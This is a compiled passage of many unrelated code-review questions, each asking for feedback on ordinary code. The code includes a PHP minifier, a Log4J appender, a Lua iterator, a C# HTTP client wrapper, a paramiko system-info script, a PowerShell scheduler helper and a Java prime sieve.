                    '@(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+@', //Remove blank lines
                    '@^(\s)+|( |\t|\0|\r\n)+$@' //Trim Lines
                    );
    $replace = array(' ','',' ',' ',"\\1",'');
    $string = preg_replace($search, $replace, $string);

    //Replace unique id with original tag
    $c=count($idarray);
    for($i=0;$i<$c;$i++){
        $string = str_replace($idarray[$i][0], "\n".$idarray[$i][1]."\n", $string);
    }

    return $string;
}

It works, but I have got some concerns:

Has it got sense to explit all the \s*? between the tags and
retrieve with this (<)\s*?(style\b[^>]*?)(>)?
Does this script eat resources and considerably delay the page load? Is there any possible optimization?
Is the part that remove the white space redundant?
Is all of this "cacheable"?


texts:
I have written a Custom Log4J Appender which is responsible for sending the log message to a third party service asynchronously. It is expected to be called every millisecond.

I ran FindBugs on this code, it didn't report anything unusual. But before releasing this code to production, how can I know if this code has any issues with it?

package com;

import java.util.ArrayList;
import java.util.Iterator;

import org.apache.log4j.AppenderSkeleton;
import org.apache.log4j.spi.LoggingEvent;

public class MyAppender extends AppenderSkeleton {

    public MyAppender() {

    }

    public void append(LoggingEvent event) {
        ArrayList<LoggingEvent> buffer = new ArrayList<LoggingEvent>();
        buffer.add(event);
        flushBuffer(buffer);
    }

    public void flushBuffer(ArrayList<LoggingEvent> buffer) {
        for (Iterator<LoggingEvent> i = buffer.iterator(); i.hasNext();) {
            try {
                LoggingEvent logEvent = (LoggingEvent) i.next();
                String messageRecievied = (String) logEvent.getMessage();
                //System.out.println(messageRecievied);

            } catch (Exception e) {

            }

        }

    }

    @Override
    public void close() {

    }

    @Override
    public boolean requiresLayout() {

        return false;
    }

}


texts: Protecting Vue page based on the API response

texts:
If the user/visitor has access to the API route, then the status code will 200, else 401.
I know that I can user Vue navigation guards, but I will need to use Vuex.
This way is much simpler and faster, what do you think, is it a right way to protect Vue page from unauthenticated users?
    <template>
    <v-container>

loading

Protected Profile Page

    </v-container>
</template>


texts: Angular Directive for adding/removing active classes navigation

texts:
I have created a directive which is doing several things, all revolved around adding and active class to navigation elements when clicked. It also adds the class when someone goes directly to the url. I'm fairly new to writing directives and this one seems like it would be something I'd like to reuse in future projects. Is there a more concise and reusable way I could be writing this logic?

app.directive('navigation', function ($location, $timeout) {
return {
    restrict: 'E',
    scope: {
      hoverClass:'@'
    },
    link: function (scope, element, attrs) {

  scope.$on("$routeChangeSuccess", function (event, current, previous) { //routeChangeSuccess
    var location       = (current.$$route.originalPath);
    var locationSplit  = ("/" + location.split('/')[1]);
    var selectionhref  = element.children().find('a');
    //Searches for match of routepath url and href, removes siblings active, adds active
    (function(){
      element.children().each(function(index){
      console.log(location);
      if($(selectionhref[index]).attr('href') == (locationSplit)){
      $(this).siblings().removeClass('active');
       $(this).addClass('active');
      };
      });
    })()
  }); //routeChangeSuccess

  element.children().mouseover(function(){ //add remove on hover
  $(this).addClass('hover');
}).mouseout(function(){
   $(this).removeClass('hover');
}); //add remove on hover

element.children().click(function(){ //add remove on click
  var ref = $(this);
  $timeout(function() {
  var loc = $location.path();
  var relative = ref.children().attr("href");
  if (loc == relative){
  ref.addClass('ractive');
  }
  ref.siblings().removeClass('active');
  ref.addClass('active');
  }, 1);
});
}, //add remove on click

template: '
Home
' +
          '
About
' +
          '
Services
' +
          '
Calendar
' +
          '
Volunteer
' +
          '
Contact
' +
          '
Blog
'

};
});


texts:
I've been working on this probability game that has a gun with 5/6
  bullets. When there's a dodge the game removes a bullet and then the
  game continues, the goal being to get to 0 bullets.

I don't use a var to keep the score counts because it's easier to flush it by adding the new sentence in. Are there any big mistakes in my code, or things that should be done better?

import Cocoa

  let appWindow = NSWindow()
 let gunTrigger = NSButton(frame: CGRect(x: 155, y: 5, width: 210, height: 19))

 class ShootMeSomelexhoe: NSObject, NSApplicationDelegate{
func applicationDidFinishLaunching(_ notification: Notification) {
    appWindow.setContentSize(NSSize(width: 520, height: 30))
    appWindow.titlebarAppearsTransparent = true
    appWindow.backgroundColor =  NSColor.white
    appWindow.isMovableByWindowBackground = true
    appWindow.contentView?.addSubview(gunTrigger)
    appWindow.title = " = 5/6 ⁍ ☠ Dodge = 1 less ⁍  Empty without ☠ = Win!"
    appWindow.setFrameAutosaveName(NSWindow.FrameAutosaveName(rawValue: "fun-roulette"))
    appWindow.makeKeyAndOrderFront(nil)
    gunTrigger.bezelStyle = .roundRect
    gunTrigger.title = "⁍⁍⁍⁍⁍"
    gunTrigger.action = #selector(clickedTrigger)
}

@objc func clickedTrigger(){
    if !(arc4random_uniform(6) + 1  > gunTrigger.title.count){
        gunTrigger.title = "⁍⁍⁍⁍⁍"
        appWindow.title = "saddly u died :(" + String(appWindow.title.components(separatedBy: "").count) + " attemp(s)." + String(repeating: "", count: appWindow.title.components(separatedBy: "").count) //Adds "U+200B" for attempps count.
    }
    else{
        if gunTrigger.title.count != 1{
            gunTrigger.title = String(gunTrigger.title.dropLast())
            appWindow.title = "u dodged death! lets keep playing our luck" + String(appWindow.title.components(separatedBy: "").count) + " attemp(s)." + String(repeating: "", count: appWindow.title.components(separatedBy: "").count) //Adds "U+200B" for attempps count.
        }
        else{
            gunTrigger.title = "⁍⁍⁍⁍⁍"
            NSSound(named: NSSound.Name(rawValue: "Glass"))?.play()
            appWindow.title = "Congradulation u just won the game of life. enjoy!!!!" + String(appWindow.title.components(separatedBy: "").count) + " attempts."
        }
    }
}
}


texts: Return one particular element first, when iterating a lua table

texts:
I wish to iterate through a Lua table, but want to get one particular element first always (its key is known beforehand).

Since the pairs function does not guarantee the order of a table's elements, I wrote a custom iterator function (I can insert every element into a indexed table and use the table.sort function, but I wanted to try writing a custom iterator).

local function
pairsWithPriority(t,priorityKey)

    local i = 0

    local function
    closure(_,lastReturnedKey)

        local k,v
        if i == 0 then  --the first element should always be t[prioritykey]
            k,v = priorityKey,t[priorityKey]
        elseif i == 1 then --since we have returned the first element we reset the next pointer
            k,v = next(t, nil)
        else
            k,v = next(t,lastReturnedKey)
        end

        if i > 0 then
            if k == priorityKey then --the first element is encountered AFTER it has been manually returned, so discard
                k,v = next(t, k)
            end
        end

        i = i + 1
        return k,v
    end

    return closure
 end

When I use this iterator function:

local t = {a=1,b=2,c=6,d=4,e=4}
for i,v in pairsWithPriority(t,"c") do
    print(i,v)
end

t[c] is always returned first.

This iterator works, but I'd like to know if there is a better way of doing this in a cleaner and more efficient way


texts: Write output file, collating groups of up to 7 input lines

texts:
I have this code that reads a file and after processing a few lines writes the output to a second file:

num_reads = 7
with open('data.txt') as read_file:
    with open('new_data.txt', 'w') as write_file:

        while (True):
            lines = []
            try:       # expect errors if the number of lines in the file are not a multiplication of num_reads
                for i in range(num_reads):
                    lines.append(next(read_file))  # when the file finishes an exception occurs here

                #do sutff with the lines (exactly num_reads number of lines)
                processed = " ".join(list(map(lambda x: x.replace("\n", ''), lines)))
                write_file.write(processed + '\n')

            except StopIteration:     # here we process the (possibly) insufficent last lines
                #do stuff with the lines (less that  num_reads)
                processed = " ".join(list(map(lambda x: x.replace("\n", ''), lines)))
                write_file.write(processed + '\n')
                break

Here is the input file (data.txt):

line1
line2
line3
line4
line5
line7
line8
line9

And this is the output file that has the desired state:

line1 line2 line3 line4 line5 line7
line8 line9

This works correctly but as I wish to do the same processing and writing procedure in both cases (when the number of elements is 7 and when the file finishes and the exception is raised) I think the above code violates DRY principle even if I define a new function and call it once in try block and once in except before break. Any other ordering that I could come up with was either causing an infinite loop or losing the final lines.
I appreciate any comments on handling this issue, as it is not limited to this case and I had faced it in other cases as well.


texts:
This is kind of follow up of this question on stack overflow...

I wrote the following to utilize memoization for functions that take a single parameter and return a value:

#include <iostream>
#include <map>
using namespace std;

template <class T, class R, R (*Func)(T)>
R memoized(T in) {
    static std::map<T,R> memo;
    typename std::map<T,R>::iterator found = memo.find(in);
    if (found != memo.end()) { return found->second; }
    std::cout << "not found" << std::endl; // only for demo
    R res = Func(in);
    memo[in] = res;
    return res;
}

double test(double x){return x*x;}
double test2(double x){return x;}

int main() {
    std::cout << memoized<double,double,test>(1) << std::endl;
    std::cout << memoized<double,double,test>(1) << std::endl;
    std::cout << memoized<double,double,test>(1) << std::endl;
    std::cout << std::endl;
    std::cout << memoized<double,double,test2>(1) << std::endl;
    std::cout << memoized<double,double,test2>(1) << std::endl;
    std::cout << memoized<double,double,test2>(1) << std::endl;

    return 0;
}

output:

not found
1
1
1

not found
1
1
1

It is a rather strong restriction that it works only for functions taking a single parameter, but thats ok for now. Is there anything else wrong with this approach?

PS: on purpose this is using only pre C++11


texts: Apply same format function to each python print() parameter

texts:
I have a python print statement and inside the string I wish to print are four digits. I would like to apply the same formatting function to each param. I am not familiar with the latest and greatest features of python PEPs.

Is there a slick way to do this?

Code

statement = "Splitting up the {} file into {} chunks, with the filesystem block size of {}, causing {} extra space to be used"

print(statement.format(
    sizeof_fmt(input_file_size),
    sizeof_fmt(chunk_size),
    sizeof_fmt(block_size),
    sizeof_fmt(surrendered_space)))

Format Function

def sizeof_fmt(num, suffix='B'):
    for unit in ['','Ki','Mi','Gi','Ti','Pi','Ei','Zi']:
        if abs(num) < 1024.0:
            return "%3.1f%s%s" % (num, unit, suffix)
        num /= 1024.0
    return "%.1f%s%s" % (num, 'Yi', suffix)


texts:
I've written a program to solve the same problem as Sum of Maximum GCD.

My solution contains working code and it has successfully passed some of the test cases. But it does throw runtime exceptions and I'm trying to understand where I could be going wrong. I don't see any segmentation faults that could be tripping it up.

  You are given two arrays \$A\$ and \$B\$ containing \$N\$ elements each. Choose a
  pair of elements \$x, y\$ such that:

  \$x\$ belongs to array \$A\$.
  y belongs to array \$B\$.
  \$\gcd(x,y)\$ is the maximum of all pairs \$x, y\$.

  If there is more than one such pair \$x, y\$  having maximum \$\gcd\$, then
  choose the one with maximum sum. Print the sum of elements of this
  maximum-sum pair.

  NOTE: \$\gcd(x,y)\$ the largest integer that divides both \$x\$ and
  \$y\$.

  Constraints:

  \$1 \le N \le 5 \times 10^5\$
  \$1 \le A_i \le 10^6\$
  \$1 \le B_i \le 10^6\$

  Input Format

  The first line of the input contains n denoting the total number of
  elements of arrays \$A\$ and \$B\$. Next line contains \$n\$ space separated
  positive integers denoting the elements of array \$A\$. Next line contains
  \$n\$ space separated positive integers denoting the elements of array \$B\$.

  Output Format

  From all the pairs having maximum gcd, print the sum of one that has
  the maximum sum.

I'm still actively trying to find the issue, though I think I could benefit from unbiased eyes and criticism to help me better my code.

#!/bin/python3

import sys
import itertools
import math
def maximumGcdAndSum(A, B):
    C = []
    C.append(A)
    C.append(B)
    D=[]
    E=[]
    gcds=[1]
    sums=[]
    prodC = itertools.product(*C)
    for element in prodC:
        gcdVal = math.gcd(element[0],element[1])
        D.append((gcdVal,sum(element)))
        gcds.append(gcdVal)
       # sums.append(sum(element))
   # print(D)
    maxGCD = max(gcds)
    sumsL = [1]
#print(gcds)
   # print(sums)
    for i in D:
        if i[0] == maxGCD:
            sumsL.append(i[1])
    return max(sumsL)
    # Complete this function

if __name__ == "__main__":
    n = int(input().strip())
    A = list(map(int, input().strip().split(' ')))
    B = list(map(int, input().strip().split(' ')))
    res = maximumGcdAndSum(A, B)
    print(res)

Sample input tried -

5
3 1 4 2 8
5 2 12 8 3

Output Expected -

16

Output Obtained -

16


texts:
This is Tic-Tac-Toe using negamax for AI. Help me make it better!

Some sore points are:

def get_mark
    good_mark = false
    until good_mark
      mark = gets.chomp
      if mark =~ /x/i
        chose_x
        good_mark = true
      elsif mark =~ /o/i
        chose_y
        good_mark = true
      else
        puts <<-EOS.gsub(/^ */, '')

        What is this strange mark? please choose 'X' or 'O'!
        EOS
      end
    end
  end

and

def game_won?
  @solutions.clear
  make_solutions
  won = false
  @solutions.each do |solution|
    if solution[0] != ' ' &&
      solution[0] == solution[1] && solution[1] == solution[2]
    won = true
    end
  end
  return won
end

The rest of this is here.


texts:
I was just wondering if there is a way to speed up the performances of this for loops in Python.

I'm trying to process an image to get the color-moments without using libraries.
It takes about 12sec to do the calculate_mean and calculate_standard_deviation functions for each part of the image.

import math

import cv2
import numpy as np

parts = 2
new_height = int(img.shape[0]/parts)
new_width = int(img.shape[1]/parts)

for i in range (0,img.shape[0],new_height):
    for j in range(0,img.shape[1],new_width):
        color_moments = [0,0,0,0,0,0,0,0,0]
        cropped_image = img[i:i+new_height,j:j+new_width]
        yuv_image = cv2.cvtColor(cropped_image,cv2.COLOR_BGR2YUV)
        Y,U,V = cv2.split(yuv_image)

        pixel_image_y = np.array(Y).flatten()
        pixel_image_u = np.array(U).flatten()
        pixel_image_v = np.array(V).flatten()

        calculate_mean(pixel_image_y,pixel_image_u,pixel_image_v,color_moments)
        calculate_standard_deviation(pixel_image_y, pixel_image_u, pixel_image_v, color_moments)

And this are the two functions:

def calculate_mean(pixel_image_y,pixel_image_u,pixel_image_v,color_moments):
    for p in pixel_image_y:
        color_moments[0]+=(1/(new_height*new_width))*int(p)
    for p in pixel_image_u:
        color_moments[1]+=(1/(new_height*new_width))*int(p)
    for p in pixel_image_v:
        color_moments[2]+=(1/(new_height*new_width))*int(p)

def calculate_standard_deviation(pixel_image_y,pixel_image_u,pixel_image_v,color_moments):
    temp = [0,0,0]
    for p in pixel_image_y:
        temp[0]+=(p-color_moments[0])**2
    color_moments[3] = math.sqrt((1/(new_height*new_width))*temp[0])
    for p in pixel_image_u:
        temp[1]+=(p-color_moments[1])**2
    color_moments[4] = math.sqrt((1/(new_height*new_width))*temp[1])
    for p in pixel_image_v:
        temp[2]+=(p-color_moments[2])**2
    color_moments[5] = math.sqrt((1/(new_height*new_width))*temp[2])


texts:
I've written a simple program to test out the capabilities of netwire (or rather, how to write programs using netwire). The goal is to have an application that shows a window, starting out as completely filled with red. Pressing space should switch from red to blue and vice versa. Pressing escape or closing the window should terminate the program. I've been able to write something that works (using Allegro, but that doesn't matter too much - the Allegro part can't be simplified, at least not by much), but it's gotten a bit lengthy for something that sounds so simple.

{-# LANGUAGE OverloadedStrings #-}

module Main(main) where

import Control.Wire hiding (when)
import Prelude hiding ((.),id)
import qualified Graphics.UI.Allegro.Raw as Al
import Data.Monoid
import Control.Monad.Reader
import qualified Data.Set as S
import Data.Set (Set)

iff True  a _  = a
iff False _ b  = b

data Game = Game {
    keyState :: Set Al.Key,
    isClosed :: Bool
}

data Result = GameColor Al.Color | Quit

colRed = Al.Color {Al.colorR = 1.0, Al.colorG = 0.0, Al.colorB = 0.0, Al.colorA = 1.0}
colBlue = Al.Color {Al.colorR = 0.0, Al.colorG = 0.0, Al.colorB = 1.0, Al.colorA = 1.0}

initG = Game { keyState = S.empty, isClosed = False }
addKey (g@ Game {keyState = s}) k = g {keyState = S.insert k s}

-- Produce when event occurs, inhibit otherwise
gameEvent :: Monoid e => (Game -> Bool) -> Event e (ReaderT Game IO) a
gameEvent f = mkFixM $ \_ a ->
  iff <$> asks f <*> (return $ Right a) <*> (return $ Left mempty)

windowClosed = gameEvent isClosed

keyPressed k = gameEvent (S.member k . keyState)

doQuit = pure Quit . (keyPressed Al.KeyEscape <|> windowClosed)
color = doColorRed

-- The once prevents infinite recursion in case space was pressed
doColorRed = pure (GameColor colRed) . (once <|> notE (keyPressed Al.KeySpace)) -->
              doColorBlue
doColorBlue = pure (GameColor colBlue) . (once <|> notE (keyPressed Al.KeySpace)) -->
                doColorRed

colorApp :: Wire () (ReaderT Game IO) a Result
colorApp = doQuit <|>
            color

main = do
  Al.initialize
  Al.installKeyboard
  Just window <- Al.createDisplay 800 600
  Al.setTargetBackbuffer window
  Just q <- Al.createEventQueue
  t <- Al.createTimer $ 1/60
  Al.registerEventSource q =<< Al.getKeyboardEventSource
  Al.registerEventSource q =<< Al.getDisplayEventSource window
  Al.registerEventSource q =<< Al.getTimerEventSource t
  Al.startTimer t
  loop colorApp clockSession q
  Al.destroyEventQueue q
  Al.destroyDisplay window where
    loop w session q = do
      game <- handleEvents initG q
      (mx, w', session') <- runReaderT (stepSession w session ()) game
      case mx of
         Left ex -> putStrLn $ "Inhibited: " ++ show ex -- this should never happen
         Right (GameColor c) -> do
           Al.clearToColor c
           Al.flipDisplay
           loop w' session' q
         Right Quit -> return ()
    handleEvents g q = do
      ev <- Al.waitForEvent q
      case ev of
        Al.KeyDownEvent{Al.eventKeycode = k} -> handleEvents (addKey g k) q
        Al.Timer{}                           -> return g
        Al.DisplayClose{}                    -> return g{isClosed = True}
        _                                    -> handleEvents g q


texts:
Yesterday you found some shoes in your room. Each shoe is described by two values:

type indicates if it's a left or a right shoe;
size is the size of the shoe.

Your task is to check whether it is possible to pair the shoes you found in such a way that each pair consists of a right and a left shoe of an equal size

For:

shoes = [[0, 21],
       [1, 23],
       [1, 21],
       [0, 23]]

the output should be true;

For:

shoes = [[0, 21],
       [1, 23],
       [1, 21],
       [1, 23]]

the output should be false.

So I wrote the code below,added some comments

 shoes = [[0, 21],
           [1, 23],
           [1, 21],
           [0, 23]];

  function pairOfShoes(shoes) {
        //replace 0 with -1 so I can reduce them to 0 later if they are a pair
        for (var i = 0; i < shoes.length; i++) {
            if (shoes[i][0] == 0) {
                shoes[i][0] = -1
            }
        }
        //reduce the array to object with shoe size as key
        function objectify(array) {
            return array.reduce(function(p, c) {
                p[c[1]] = (p[c[1]] != undefined ? p[c[1]] : 0) + c[0];
                return p;
            }, {});
        }

        var p = objectify(shoes);
        //check for each shoe size if the value is 0
        for (var x in p) {
            if (p[x] != 0) {
                return false;
            }
        }
        return true;
    }

 console.log(pairOfShoes(shoes));

Seems convoluted to me can this code be improved?


texts: Generic Implementation for Api call in c#

texts:
i have created one generic implementation for api call from all over my application.

 public class HttpClientService<TResult> : IDisposable where TResult : class
{
    private HttpClient client = new HttpClient();
    public HttpClientService(string baseUrl)
    {
        client.BaseAddress = new Uri(baseUrl);
        client.DefaultRequestHeaders.Accept.Clear();
        client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json"));
        client.Timeout = new TimeSpan(0, 30, 0);
    }
    public TResult GetAPI(string url, Dictionary<string,string> urlParameters = null, Dictionary<string, string> headers = null)
    {
        string parameters = string.Empty;

        if (urlParameters != null)
        {
            parameters = BuildURLParametersString(urlParameters);
            url = string.IsNullOrEmpty(parameters) ? url : url + parameters;
        }

        if (headers != null)
        {
            AddHeaders(headers);
        }

        var response = Task.Run(() => client.GetAsync(url)).Result;
        var apiResult = response.Content.ReadAsStringAsync().Result;
        var result = JsonConvert.DeserializeObject<TResult>(apiResult);
        return result;
    }
    public TResult PostAPI(string url, Dictionary<string, string> formParameters = null, string jsonString = "", Dictionary<string, string> headers = null)
    {
        HttpContent contentPost = null;
        if (headers != null)
        {
            AddHeaders(headers);
        }
        if (formParameters != null)
        {
            var formContent = new FormUrlEncodedContent(formParameters);
            contentPost = formContent;
        }
        else if (!string.IsNullOrEmpty(jsonString))
        {
            var content = new StringContent(jsonString, Encoding.UTF8, "application/json");
            contentPost = content;
        }
        var response = Task.Run(() => client.PostAsync(url, contentPost)).Result;
        var apiResult = response.Content.ReadAsStringAsync().Result;
        var result = JsonConvert.DeserializeObject<TResult>(apiResult);
        return result;
    }
    private String BuildURLParametersString(Dictionary<string, string> parameters)
    {
        UriBuilder uriBuilder = new UriBuilder();
        var query = System.Web.HttpUtility.ParseQueryString(uriBuilder.Query);
        foreach (var urlParameter in parameters)
        {
            query[urlParameter.Key] = urlParameter.Value;
        }
        uriBuilder.Query = query.ToString();
        return uriBuilder.Query;
    }
    private void AddHeaders(Dictionary<string, string> headers)
    {
        foreach (var header in headers)
        {
            if (!string.IsNullOrEmpty(header.Value))
            {
                client.DefaultRequestHeaders.Add(header.Key, header.Value);
            }
        }
    }
    public void Dispose()
    {
        client.Dispose();
    }
}

and from my application used like below

using (var clientService = new HttpClientService<GeoCodeResponse>("https://maps.googleapis.com"))
{
         var param = new Dictionary<string, string>();
         param.Add("latlng", $"{latitude},{longitude}");
         param.Add("result_type", "locality");
         param.Add("key", GoogleApiKey);

         var apiResult = clientService.GetAPI("maps/api/geocode/json", param);
}

please suggest me what i am implemented is currect or any better improvement for code any changes.


texts: Reader-writers problem using semaphores in Java

texts:
I have written my own solution to the Reader-Writers problems using semaphores based on the psuedocode from Wikipedia.  I would like to gauge the correctness and quality of the code.

import java.util.concurrent.Semaphore;

class ReaderWritersProblem {

    static Semaphore readLock = new Semaphore(1);
    static Semaphore writeLock = new Semaphore(1);
    static int readCount = 0;

    static class Read implements Runnable {
        @Override
        public void run() {
            try {
                //Acquire Section
                readLock.acquire();
                readCount++;
                if (readCount == 1) {
                    writeLock.acquire();
                }
                readLock.release();

                //Reading section
                System.out.println("Thread "+Thread.currentThread().getName() + " is READING");
                Thread.sleep(1500);
                System.out.println("Thread "+Thread.currentThread().getName() + " has FINISHED READING");

                //Releasing section
                readLock.acquire();
                readCount--;
                if(readCount == 0) {
                    writeLock.release();
                }
                readLock.release();
            } catch (InterruptedException e) {
                System.out.println(e.getMessage());
            }
        }
    }

    static class Write implements Runnable {
        @Override
        public void run() {
            try {
                writeLock.acquire();
                System.out.println("Thread "+Thread.currentThread().getName() + " is WRITING");
                Thread.sleep(2500);
                System.out.println("Thread "+Thread.currentThread().getName() + " has finished WRITING");
                writeLock.release();
            } catch (InterruptedException e) {
                System.out.println(e.getMessage());
            }
        }
    }

    public static void main(String[] args) throws Exception {
        Read read = new Read();
        Write write = new Write();
        Thread t1 = new Thread(read);
        t1.setName("thread1");
        Thread t2 = new Thread(read);
        t2.setName("thread2");
        Thread t3 = new Thread(write);
        t3.setName("thread3");
        Thread t4 = new Thread(read);
        t4.setName("thread4");
        t1.start();
        t3.start();
        t2.start();
        t4.start();
    }
}


texts: Property Mapping with Reflection efficiency

texts:
I have an object that I am populating via mapping and lookup with Reflection:

this.SearchResults = (from a in response.postings
                          select new SearchResponseModel
                          {
                              Id = a.id,
                              TimeStampDate = a.timestampDate,
                              Body = a.body,
                              Title = a.heading,
                              Status = a.status,
                              State = a.state,
                              Language = a.language,
                              Currency = a.currency,
                              CategoryGroup = a.category_group,
                              Source = a.source,
                              ExternalId = a.external_id,
                              ExternalUrl = a.external_url,
                              Price = a.price,
                              Location = PopulateLocation(a.location)
                          }
                          ).ToList();

And the method that does the mapping:

 private static List<LocationLookupModel> PopulateLocation(Location location)
{
    List<LocationLookupModel> allLocations = new List<LocationLookupModel>();
    if (HttpContext.Current.Session["LocationModel"] == null)
    {

        HttpContext.Current.Session["LocationModel"] = allLocations = new LocationModel().LocationList;
    }
    else
    {
        allLocations = (List<LocationLookupModel>)HttpContext.Current.Session["LocationModel"];
    }
    List<LocationLookupModel> modelList = new List<LocationLookupModel>();

    foreach (PropertyInfo propertyInfo in location.GetType().GetProperties())
    {
        var value = propertyInfo.GetValue(location);
        if (value != null)
        {
            LocationLookupModel model = (from a in allLocations
                                         where a.Code == propertyInfo.GetValue(location).ToString()
                                         select a).FirstOrDefault();
            if (model != null)
            {
                modelList.Add(model);
            }
        }
    }

    return modelList;
}

The issue that I run into is that an allLocations object has about 70k records (it represents a list of location lookup values for countries, states, zipcodes, etc), and populating about 100 instances of SearchResponseModel takes about 20 seconds. This is far too long for a UI call, and I have not been able to find a way to make it faster. I understand I am basically doing 3 nested loops (calling helper method for each population, looping over reflected properties, and finally the LINQ call over 70k records) so there are some time efficiency issues, but I am a bit lost on what tricks I can use to make this process more efficient.

Here is a screenshot of the location object:

Here is a screenshot of one of the allLocation objects in the list:


texts:
The following piece of code does ssh do different servers and fetches the system info and display it to the user:

import paramiko

#list variables : ["IP_ADDR", "USERNAME", "PASSWD", "ROOT_PASSWD"]
ip_list = [
    ["192.168.11.44", "root", "****", "****"],
    ["192.168.11.8", "root", "****", "****"],
    ["192.168.11.30", "root", "****", "****"],
    ["192.168.11.6", "****", "****", "****"]
]
os_check_list = ["DISTRIB_DESCRIPTION"]
hard_disks = [
             'sda', 'sdb', 'sdc', 'sdd', 'sde', 'sdf', 'sdg',
             'sdh', 'sdi', 'sdj', 'sdk', 'sdl', 'sdm', 'sdn',
             'sdo', 'sdp', 'sdq', 'sdr', 'sds'
             ]
os = None

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

for ip in ip_list:
    ssh.connect(ip[0], username = ip[1], password = ip[2])

    print("\n \n   ************************************************************ \
           \n   IP ADDR = {}                SYSTEM INFO                           \
          \n  ******************************************************************". format(ip[0]))
    stdin, stdout, stderr = ssh.exec_command("cat /etc/*release")
    stdin.write(ip[3]+"\n")
    for line in stdout.readlines():
       if any(x in line for x in os_check_list):
           os_dist = line.split("=")
           os = os_dist[1]
           print(" Operating System is {}" .format(os))
    if not os:
           stdin, stdout, stderr = ssh.exec_command("cat /etc/system-release")
           for line in stdout.readlines():
               os = line
               print(" Operating System is {}" .format(os))

    os = None

    stdin, stdout, stderr = ssh.exec_command("sudo -k udisksctl status", get_pty = True)
    stdin.write(ip[3]+"\n")
    for line in stdout.readlines():
        if any(x in line for x in hard_disks):
            print(line)
        elif "command not found" in line:
            print("udisksctl not installed on target server")

    stdin, stdout, stderr = ssh.exec_command("sudo dmidecode -t 0 | grep -i version", get_pty = True)
    stdin.write(ip[3]+"\n")
    for line in stdout.readlines():
        if "Version" in line:
            print(line)
        elif "command not found" in line:
            print("dmidecode not installed on target server")

Even though this is working, I felt like I am running too many for loops for fetching the information. How to minimize these many loops?


texts: PowerShell - Execute Windows Task Scheduler

texts:
function ExecuteWindowsTaskScheduler {
param(
    [Parameter(Mandatory = $true)]
    [String]$TaskName, #e.g. "Open Notepad task"

    [Parameter(Mandatory = $true)]
    [String]$TimeToExecute, #e.g. "3:45pm/am"

    [Parameter(Mandatory = $true)]
    [ValidateSet('Once','Daily','Weekly, Monthly')]
    [string]$FrequencyToExecute,

    [Parameter(Mandatory = $true)]
    [String]$DomainAndUser, #e.g. "yourdomain\yourusername"

    [Parameter(Mandatory = $true)]
    [String]$ProgramWithPath, #e.g. "C:\PowerShell\yourFile.ps1"

    [Parameter(Mandatory = $false)]
    [bool]${DebugMode}
)

$TriggerParams = @{
    At = $TimeToExecute
}

# Add the appropriate frequency value to the splatting table
if ($FrequencyToExecute -eq 'Monthly') {
    $TriggerParams.Add('Weekly',$true)
}
else {
    $TriggerParams.Add($FrequencyToExecute,$true)
}

# Specify the trigger settings
if ($FrequencyToExecute -eq "Weekly") {
    $Trigger = New-ScheduledTaskTrigger @TriggerParams -WeeksInterval 1 -DaysOfWeek Monday
}
elseIf  ($FrequencyToExecute -eq "Monthly") {
    $Trigger = New-ScheduledTaskTrigger @TriggerParams -WeeksInterval 4 -DaysOfWeek Monday
}
else {
    $Trigger = New-ScheduledTaskTrigger @TriggerParams
}

# Specify what script to run and with its parameters
$Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument $ProgramWithPath
$TaskExists = Get-ScheduledTask | Where-Object {$_.TaskName -like $TaskName }

if($TaskExists) {
    Unregister-ScheduledTask -TaskName $TaskName -Confirm:$false
}

I'm definitely not happy with this part of the code:

# Add the appropriate frequency value to the splatting table
    if ($FrequencyToExecute -eq 'Monthly') {
        $TriggerParams.Add('Weekly',$true)
    }
    else {
        $TriggerParams.Add($FrequencyToExecute,$true)
    }

    # Specify the trigger settings
    if ($FrequencyToExecute -eq "Weekly") {
        $Trigger = New-ScheduledTaskTrigger @TriggerParams -WeeksInterval 1 -DaysOfWeek Monday
    }
    elseIf  ($FrequencyToExecute -eq "Monthly") {
        $Trigger = New-ScheduledTaskTrigger @TriggerParams -WeeksInterval 4 -DaysOfWeek Monday
    }
    else {
        $Trigger = New-ScheduledTaskTrigger @TriggerParams
    }

Is there a way to improve this part? I mean, I had to create a small hack because there is no Monthly parameter for New-ScheduledTaskTrigger.


texts: Java Implementation of Sieve of Eratosthenes algorithm

texts:
I previously asked about my implementation of the Sieve of Eratosthenes algorithm here.

After looking at all of the feedback, I have reworked the code to make it significantly more efficient. However, I'd like to know whether it can be made more efficient still.

I have tried to follow pesudocode for my implementation, which I have provided below:

Input: an integer n > 1

Let A be an array of Boolean values, indexed by integers 2 to n,
initially all set to true.

 for i = 2, 3, 4, ..., not exceeding √n:
  if A[i] is true:
    for j = i2, i2+i, i2+2i, i2+3i, ..., not exceeding n :
      A[j] := false

Output: all i such that A[i] is true.

Pseudocode sourced from here.

My implementation:

import java.util.Arrays;
import java.util.Scanner;
public class sieveOfEratosthenes {
    public static void main (String [] args) {
        int maxPrime;
        try (Scanner sc = new Scanner(System.in);) {
            System.out.print("Enter an integer greater than 1: ");
            maxPrime = sc.nextInt();
            sc.close();
        }
        long start = System.nanoTime();
        boolean [] primeNumbers = new boolean [maxPrime];
        Arrays.fill(primeNumbers, true);
        int maxNumToTest = (int) (Math.floor(Math.sqrt(maxPrime)));
        for(int i = 2; i <= maxNumToTest; i++) {
            if (primeNumbers[i] == true) {
                for (int j = i * i; j < maxPrime; j += i) {
                    primeNumbers[j] = false;
                }
            }
        }
        long stop = System.nanoTime();
        for(int i = 2; i < primeNumbers.length; i++) {
            if(primeNumbers[i] == true) {
                System.out.print((i) + ", ");
            }
        }

        System.out.println("\nExecution time: " + ((stop - start) / 1e+6) + "ms.");
    }
}

I have tested my implementation to find that it is capable of calculating all primes below 10,000,000 in ~110ms on an i5 processor.

My question: Is this as fast as is physically possible in Java, or can I make further improvements?


texts:
I am new to MVC and Zend, so I have little idea what I am doing at the moment, but here is my question.

The following code is my get method for an API I am attempting to build in order to learn both. It works as is, but given the sparsity of code I have seen in example methods, and the fact that Zend seems to do a lot for you, is there a better way of doing this? The code is something I cobbled together because the tutorial that I was walking through forgot to add the get method code.

public function getAction()
{
    // action body
    // Is there a better way to get the id from the URL?
    $this->_getAllParams();
    $request = $this->_request->getParams();

    if (array_key_exists($request['id'], $this->_todo)){
        $return[] = array($request['id'] => $this->_todo[$request['id']]);
    }else{
